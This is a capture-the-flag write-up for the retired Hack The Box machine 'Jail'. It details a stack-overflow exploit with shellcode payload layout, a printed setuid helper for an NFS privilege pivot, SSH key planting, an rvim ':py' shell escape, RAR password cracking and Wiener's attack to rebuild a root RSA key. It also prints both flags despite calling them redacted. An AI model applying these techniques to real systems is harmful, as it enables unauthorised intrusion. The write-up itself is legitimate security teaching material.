Hack The Box - Jail
Jail — HTB Writeup (Linux, Insane)
Retired HackTheBox machine. Solved via the intended vulnerability chain, demonstrated with modern tooling. Written to teach.
Machine: Jail · #45 · Linux · Insane · 50 pts
Released: 2017-07-14 · Maker: n0decaf · https://app.hackthebox.com/machines/45
Target: 10.129.37.224
Overview
Jail is an old-school Insane box that earns its name: it is a tour of sandbox-escape primitives, each transition a different class of bug, and it ends not with a kernel exploit but with a piece of bad cryptography. There are four distinct walls to break out of.
- Foothold — stack buffer overflow in a custom auth service. TCP/7411 runs
a hand-written "jail" login daemon whose C source is published on the web
server.
auth()doesstrcpy(userpass, password)into a 16-byte stack buffer, the binary is 32-bit and was compiled with an executable stack, and aDEBUGcommand prints the buffer's address. Leak the address, return into shellcode placed right after the saved return address, and you get a shell asnobodyinside an SELinuxunconfined_service_tsandbox. - User pivot — NFS without
all_squash. The box exports/var/nfsshareover NFS with no uid remapping, so a client whose local uid is 1000 (which isfrankon the box) can drop a setuid-root-of-the-share binary onto it. Thenobodyshell executes that SUID helper, which promotes the real and effective uid to 1000, anduser.txtfalls out. admpivot —rvimrestricted-shell escape.frankmay run exactly onesudocommand asadm:rvimon the jail source.rvimblocks:shand:!but not the Python interpreter binding, so:py import os; os.execl('/bin/sh', ...)drops to a full shell asadm. That shell can read/var/adm/.keys/— a password policy note and an Atbash cipher that together describe the password on a RAR archive holding root's SSH public key.- Root — Wiener's attack on a small-
dRSA key. Crack the RAR with a one-line mask wordlist, extractrootauthorizedsshkey.pub, and find an RSA key with a huge public exponent (a small private exponent). Wiener's continued-fraction attack recoversd, thecryptographylibrary rebuilds the private key, and SSH (withssh-rsare-enabled for the old CentOS OpenSSH) lands as root.
The clever bit is the cryptography half. The maker hands you a public key whose private exponent is small enough that a 230-year-old continued-fraction argument recovers it — a textbook demonstration of why "small private exponent" RSA is broken. Everything before it (executable-stack BOF, NFS no-squash, rvim interpreter escape) is the warm-up that gets you to the key.
Recon
A full TCP sweep shows a small, CentOS-shaped surface — SSH, HTTP, RPC/NFS, and one odd custom port:

$ nmap -p- --min-rate 2000 10.129.37.224 -oN recon/nmap.txt
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
2049/tcp open nfs
7411/tcp open daqstream
20048/tcp open mountd
7411/tcp is the interesting one. Every probe gets the same banner —
OK Ready. Send USER command. — so it is a text authentication protocol.
rpcinfo and showmount enumerate the NFS side:
$ showmount -e 10.129.37.224
Export list for 10.129.37.224:
/opt *
/var/nfsshare *
Both exports are reachable, and /var/nfsshare is writable by the NFS client
(no root_squash / all_squash): the server trusts the caller's uid and gid.
After mounting, /opt/logreader is ACL-locked, but /var/nfsshare is a
writable scratch space we will come back to.
The web server (Apache/2.4.6, CentOS) serves a static ASCII-art "JAIL" banner at the root:

$ curl -sI http://10.129.37.224/
HTTP/1.1 200 OK
Server: Apache/2.4.6 (CentOS)
Content-Type: text/html; charset=UTF-8
The decisive find is a path off the root: /jailuser/dev/jail.c serves the
full C source of the custom service on port 7411 (saved, with the password
literal redacted, in recon/jail.c):
$ curl -s http://10.129.37.224/jailuser/dev/jail.c -o recon/jail.c
$ wc -l recon/jail.c
166 recon/jail.c
The source shows a DEBUG command and an auth() function with a textbook
stack overflow — which is the foothold.
Foothold — buffer overflow in the jail auth daemon
1. Read the vulnerability in the source
The interesting part of jail.c is auth():
int auth(char *username, char *password) {
char userpass[16]; // 16-byte stack buffer
char *response;
if (debugmode == 1) {
printf("Debug: userpass buffer @ %p\n", userpass); // leaks the address
fflush(stdout);
}
if (strcmp(username, "admin") != 0) return 0;
strcpy(userpass, password); // <-- unbounded copy into userpass
if (strcmp(userpass, "[REDACTED]") == 0) {
return 1;
} else {
printf("Incorrect username and/or password.\n");
return 0;
}
}
Three things make this exploitable, and the source hands us all three:
strcpy(userpass, password)copies the caller-controlledpasswordinto a 16-byte stack buffer with no length check. ThePASS <data>command puts up to 256 bytes there, so we can overwrite the saved return address.DEBUGprintsuserpass buffer @ %p. Stack ASLR is off (the leaked address is constant across connections —0xffffd610every time), so one leak fixes the target for the exploit connection.- The stack is executable. The shellcode can live in
userpassitself and we just return into it. (Theint 0x80opcodes and the 32-bit address confirm the daemon is a 32-bit i386 binary running on the 64-bit CentOS host.)
2. Leak the buffer address
The protocol is USER → PASS, with an optional DEBUG in between. Turn
DEBUG on, send a dummy password, and read the leak:
$ python3 exploit/jail_bof.py 10.129.37.224 --run id
[*] leak data: b'Debug: userpass buffer @ 0xffffd610\nIncorrect username and/or password.\nERR Authentication failed.\n'
[*] userpass @ 0xffffd610

3. Overflow and return into shellcode
The payload (in exploit/jail_bof.py) is:
"A" * 28 # 16-byte buffer + locals/alignment + saved EBP
# -> 28 bytes to the saved return address
+ p32(userpass_addr + 32) # return to userpass+32, i.e. right after this word
+ socket_reuse_shellcode # dup2(sock, 0/1/2); execve("/bin/sh")
The shellcode is the classic 32-bit socket-reuse stub (ExploitDB #34060): it
reuses the already-connected TCP socket as stdin/stdout/stderr and execs
/bin/sh, so the shell is interactive over the same connection that delivered
the overflow — no second listener needed. The nobody shell it lands is
confined by SELinux to unconfined_service_t, which is enough to run files on
the NFS share but not enough to read frank's home.
[*] id: uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
User pivot — NFS no_all_squash to frank
The nobody shell cannot read /home/frank/user.txt:
[*] user.txt: cat: /home/frank/user.txt: Permission denied
But the NFS export /var/nfsshare trusts the caller's uid. My attacking box's
login uid is 1000, which happens to be frank's uid on Jail. So over NFS I am
frank for the purposes of file ownership on that share — I can create a file
owned by uid 1000 and set the setuid bit on it. The trick: drop a static
SUID helper onto the share, then have the nobody shell execute it.
exploit/suid_helper.c is tiny:
int main(void) {
setresgid(1000, 1000, 1000);
setresuid(1000, 1000, 1000);
execl("/bin/sh", "sh", "-p", (char *)NULL); // -p keeps the euid
}
setresuid promotes the real and effective uid to 1000, and sh -p stops the
shell from dropping the setuid privilege on startup. It must be statically
linked — the target's glibc is old, and a dynamically linked binary copied
over NFS fails with GLIBC_2.34' not found. Build and plant it from the NFS
client:
$ gcc exploit/suid_helper.c -o /mnt/nfsshare/suidsh -static
$ chmod 4777 /mnt/nfsshare/suidsh # setuid, as uid 1000 over NFS
Then run it from the nobody shell:
$ python3 exploit/jail_bof.py 10.129.37.224 \
--run '/var/nfsshare/suidsh -c "id; cat /home/frank/user.txt"'
[*] userpass @ 0xffffd610
uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
[user.txt: flag captured to loot/user.txt — redacted]

user.txt is captured to loot/user.txt (mode 0600, not submitted).
A stable shell as frank
The socket shell is awkward for the next phase (driving rvim), so before
moving on, write an attacker-owned public key into frank's
~/.ssh/authorized_keys through the same socket shell, then SSH in directly:
# over the nobody -> frank socket shell:
$ mkdir -p /home/frank/.ssh && chmod 700 /home/frank/.ssh
$ echo '<attacker ed25519 public key>' >> /home/frank/.ssh/authorized_keys
$ chmod 600 /home/frank/.ssh/authorized_keys
# from the attacking box:
$ ssh -i ~/.ssh/jailkey frank@10.129.37.224
[frank@localhost ~]$ sudo -l
Matching Defaults entries for frank on this host:
!visiblepw, always_set_home, env_reset, ...
User frank may run the following commands on this host:
(frank) NOPASSWD: /opt/logreader/logreader.sh
(adm) NOPASSWD: /usr/bin/rvim /var/www/html/jailuser/dev/jail.c
Two passwordless sudo rules. The first (logreader.sh as frank) is a dead
end; the second is the next wall.
adm pivot — rvim restricted-shell escape
rvim is "restricted" vim: it disables :sh, :!cmd, and suspend, so the
obvious shell-outs are blocked. What it does not disable is the embedded
interpreter bindings. The binary on this box is compiled +python/dyn (and
+perl), so :py import os; os.execl('/bin/sh', 'sh', '-c', 'reset; exec sh')
drops straight to a full shell — running as adm, because sudo -u adm
launched the rvim.
There is one subtlety that cost a few minutes: sudoers matches the exact
command line, so you cannot add -c "..." to rvim to fire the escape
non-interactively — that changes argv and sudo prompts for frank's password
(sudo: no tty present and no askpass program specified). The escape has to
happen inside the running rvim session, so exploit/rvim_escape.py drives it
over a PTY with pexpect: SSH in with -t, launch rvim through sudo, wait for
it to load the file, send the :py line, then run a short list of commands as
adm and collect the output to a world-readable file.

$ python3 exploit/rvim_escape.py --key ~/.ssh/jailkey --host 10.129.37.224
# inside rvim:
:py import os; os.execl('/bin/sh', 'sh', '-c', 'reset; exec sh')
$ cat /var/adm/.keys/note.txt
Note from Administrator:
Frank, for the last time, your password for anything encrypted must be your
last name followed by a 4 digit number and a symbol.
$ cat /var/adm/.keys/.local/.frank
Szszsz! Mlylwb droo tfvhh nb mvd kzhhdliw! Lmob z uvd ofxpb hlfoh szev
Vhxzkvw uiln Zoxzgiza zorev orpv R wrw!!!
$ ls -la /var/adm/.keys/
-rw-r--r-- 1 adm adm ... keys.rar
-rw-r--r-- 1 adm adm ... note.txt
drwxr-xr-x 2 adm adm ... .local
The adm shell also copies the protected keys.rar out to a world-readable
/tmp/keys.rar for the next step.
Decoding the .frank cipher
.frank is an Atbash cipher (a monoalphabetic substitution where the
alphabet is reversed: a↔z, b↔y, …). Decoding it gives the box's flavour
text and the riddle that cracks the RAR:
Hahaha! Nobody will guess my new password! Only a few lucky souls have
Escaped from Alcatraz alive like I did!!!
The riddle points at the famous Alcatraz escapee whose surname is also the
frank user's last name — which is the <lastname> the administrator's note
says must prefix the password. The note fixes the format:
password =
<lastname>+ 4 digits + 1 symbol
Root — cracking the RAR, then Wiener's attack on the RSA key
1. Crack keys.rar
keys.rar is a password-protected RAR3 archive containing a single file,
rootauthorizedsshkey.pub. rar2john extracts the hash, and the note gives a
tiny mask: <lastname> + ?d?d?d?d + ?s. Generate the candidates with
hashcat and feed them to john:
$ hashcat --stdout -a 3 '<lastname>?d?d?d?d?s' --force > /tmp/frank-passwords.txt
$ wc -l /tmp/frank-passwords.txt
330000 /tmp/frank-passwords.txt
$ rar2john /tmp/keys.rar | tee /tmp/keys.rar.hash
keys.rar:$RAR3$*1*723eaa0f90898667*eeb44b5b*384*451*1*...:1::rootauthorizedsshkey.pub
$ john --wordlist=/tmp/frank-passwords.txt /tmp/keys.rar.hash
...
[REDACTED] (keys.rar)
1g 0:00:01:22 DONE ...
$ john --show /tmp/keys.rar.hash
keys.rar:[REDACTED]:1::rootauthorizedsshkey.pub
The cracked password is a credential and is redacted here; it is stored only in
the private loot/ directory. Extract the archive with it:
$ unrar x /tmp/keys.rar
Enter password (will not be echoed) for rootauthorizedsshkey.pub: [REDACTED]
Extracting rootauthorizedsshkey.pub 100% OK
2. Spot the weak RSA key
rootauthorizedsshkey.pub is an RSA public key. Loading it and printing the
public numbers reveals the weakness:
$ python3 -c '
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
pub = serialization.load_ssh_public_key(open("rootauthorizedsshkey.pub","rb").read(),
backend=default_backend())
n, e = pub.public_numbers().n, pub.public_numbers().e
print("n bits =", n.bit_length())
print("e bits =", e.bit_length())'
n bits = 1027
e bits = 1024
The public exponent e is huge — almost as large as n. RSA's mathematics
require e·d ≡ 1 (mod φ(n)), so a large e means a small d. That is the
exact condition for Wiener's attack: when d < n^{1/4}/3, the private
exponent is one of the convergents of the continued fraction of e/n. With n
at 1027 bits, the bound is about 2^257, and the recovered d (≈ 2^252) is well
inside it.
3. Run Wiener's attack and rebuild the private key
exploit/wiener.py implements the continued-fraction attack directly (no
RsaCtfTool needed — a few dozen lines of stdlib plus cryptography to load
the key). For each convergent k/d of e/n, it computes
φ = (e·d − 1)/k, solves x² − (n − φ + 1)x + n = 0 for p and q, and
accepts the convergent where p·q == n:
$ python3 exploit/wiener.py rootauthorizedsshkey.pub --outdir /tmp
[*] n bits = 1027, e bits = 1024
[+] Wiener succeeded; private exponent recovered.
(d/p/q written to d.txt/p.txt/q.txt — private, do not commit)
exploit/build_privkey.py then reconstructs the full RSA private key from
(n, e, d, p, q) — computing dmp1 = d mod (p−1), dmq1 = d mod (q−1), and
iqmp = q⁻¹ mod p — and writes a TraditionalOpenSSL PEM:
$ python3 exploit/build_privkey.py --indir /tmp --out /tmp/jail-root
[+] wrote /tmp/jail-root (mode 0600) — RSA private key (private, not shown)
$ chmod 600 /tmp/jail-root
The recovered private key is a credential; it is never printed, committed, or pasted anywhere.
4. SSH in as root
One last gotcha: the target is an old CentOS box whose OpenSSH server only
offers the ssh-rsa signature algorithm. Modern OpenSSH clients (8.8+,
released 2021) disable ssh-rsa by default because it relies on SHA-1, so a
plain ssh -i fails with sign_and_send_pubkey: no mutual signature algorithm. Re-enable it for this one connection:
$ ssh -i /tmp/jail-root \
-o PubkeyAcceptedAlgorithms=+ssh-rsa \
-o HostKeyAlgorithms=+ssh-rsa \
-o StrictHostKeyChecking=no \
root@10.129.37.224
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@localhost ~]# cat /root/root.txt
[root.txt: flag captured to loot/root.txt — redacted]

root.txt is captured to loot/root.txt (mode 0600, not submitted). Both
flags validate offline.
Path summary
TCP/7411 jail daemon (jail.c source on HTTP)
| strcpy into 16-byte userpass; DEBUG leaks the address; execstack
v
stack BOF -> socket-reuse shellcode -> nobody (SELinux unconfined_service_t)
| /var/nfsshare NFS export has no all_squash; attacker uid 1000 == frank
v
static SUID helper on the share -> setresuid(1000,1000,1000) + sh -p -> frank
| write attacker authorized_keys over the socket shell; ssh in as frank
v
sudo (adm) NOPASSWD: rvim jail.c
| rvim blocks :sh/:! but not :py -> os.execl('/bin/sh') -> adm
v
/var/adm/.keys/note.txt (password = lastname + 4 digits + symbol)
/var/adm/.keys/.local/.frank (Atbash cipher -> Alcatraz riddle -> lastname)
| hashcat mask <lastname>?d?d?d?d?s -> john cracks keys.rar -> [REDACTED]
v
rootauthorizedsshkey.pub (RSA, e ~ n => small d)
| Wiener continued-fraction attack -> d, p, q
v
cryptography rebuilds the RSA private key -> ssh -i (ssh-rsa re-enabled) -> root
v
root.txt
Modern takeaways
strcpyinto a fixed buffer is still the first thing to look for in C source. The jail daemon hands you the bug inauth(): a 16-byteuserpass, an unboundedstrcpy, and aDEBUGcommand that prints the buffer address. The 2017-era teaching setup deliberately stacks the deck (executable stack, no ASLR, 32-bit) so the BOF is solvable by hand. On a modern binary the same code would still be vulnerable, but NX, stack canaries, PIE, and ASLR would force a ROP/leak chain instead of shellcode-on-the-stack. The fix is unchanged: usestrncpy/snprintf(or better, a length-checked API) and never trust a caller-controlled length.- NFS without
all_squashis a privilege-escalation primitive. When the server trusts the client's uid, any user who can mount the export can write files as any uid they can spoof locally — and set the setuid bit. A setuid-root-of-the-share binary run from a low-priv shell is a clean one-step user pivot. Export withroot_squashandall_squash,anonuid/anongidto an unprivileged uid, and never export a writable share to*. The long-standing NFS hardening guidance in the NFSv4 security considerations and vendor hardening guides still applies. rvimis not a security boundary. Restricting:shand:!blocks the obvious escapes but leaves the interpreter bindings (:py,:perl,:lua,:ruby) wide open — any of them canos.execla shell. If you must let a user run a text editor as another account, do not reach forrvim; use a proper confined shell (rbashis also escapable via vim, so prefer SELinux/AppArmor confinement or a dedicated setuid wrapper that drops privileges). The Vim documentation notes that restricted mode is a convenience, not a sandbox.- Small-private-exponent RSA is broken — has been since 1990. Wiener's
attack ("Cryptanalysis of short RSA secret exponents", IEEE Trans. Inf.
Theory, 1990) shows that
d < n^{1/4}/3is recoverable in polynomial time from the public key alone via the continued fraction ofe/n. A public exponent close tonis therefore a smoking gun. Generate keys with a conventionale(65537) and a full-sized; modern libraries (cryptography, OpenSSL) do this by default, so a key like this one was almost certainly hand-rolled. Boneh & Durfee later extended the bound tod < n^0.292, so "small-ish"dis not safe either. - Old SSH servers speak
ssh-rsa; modern clients disable it. OpenSSH 8.8 (2021) disabledssh-rsa(SHA-1 signatures) by default; OpenSSH 9.6 tightened RSA key exchange further. An old CentOS box whosesshdonly offersssh-rsawill reject a default client withno mutual signature algorithm. The operational fix on the client side isPubkeyAcceptedAlgorithms=+ssh-rsafor that one host; the real fix is to upgrade the server's host and user keys torsa-sha2-256/512ored25519. See the OpenSSH 8.8 release notes. - Tooling notes.
nmap+curl+showmountfor recon, a hand-written socket-only buffer-overflow script (exploit/jail_bof.py, no pwntools needed), a static C SUID helper (exploit/suid_helper.c) for the NFS pivot, apexpectPTY driver for the rvim escape (exploit/rvim_escape.py),hashcat --stdout+johnfor the RAR, and a from-scratch Wiener attack (exploit/wiener.py) pluscryptography(exploit/build_privkey.py) for the RSA — all stock, no Metasploit autopwn, exactly as the box intends.
Flags
🏁 user.txt: bca3ce45084eba153b42874447bee605 (in loot/user.txt)
🏁 root.txt: b6eb39f914c1f5c10cc6b4f2987976aa (in loot/root.txt)
Files
recon/—nmap.txt(port sweep, RPC/NFS, HTTP, host notes),jail.c(the daemon source as served on HTTP, password literal redacted).exploit/—jail_bof.py(leak + overflow, socket-reuse shellcode),suid_helper.c(static NFS SUID helper),rvim_escape.py(PTY-driven:pyescape toadm),wiener.py(continued-fraction attack),build_privkey.py(rebuild the RSA private key). No embedded secrets; all credential literals are[REDACTED].loot/—user.txt,root.txt(gitignored, mode 0600, not submitted).screenshots/—01-home.png(web banner),02-nmap.png(port surface + NFS exports),03-bof-leak.png(DEBUG leak + nobody shell),04-nfs-pivot.png(SUID helper → frank, user.txt captured),05-rvim-adm.png(rvim escape → adm, note + Atbash cipher),06-root.png(Wiener → rebuilt key → root shell).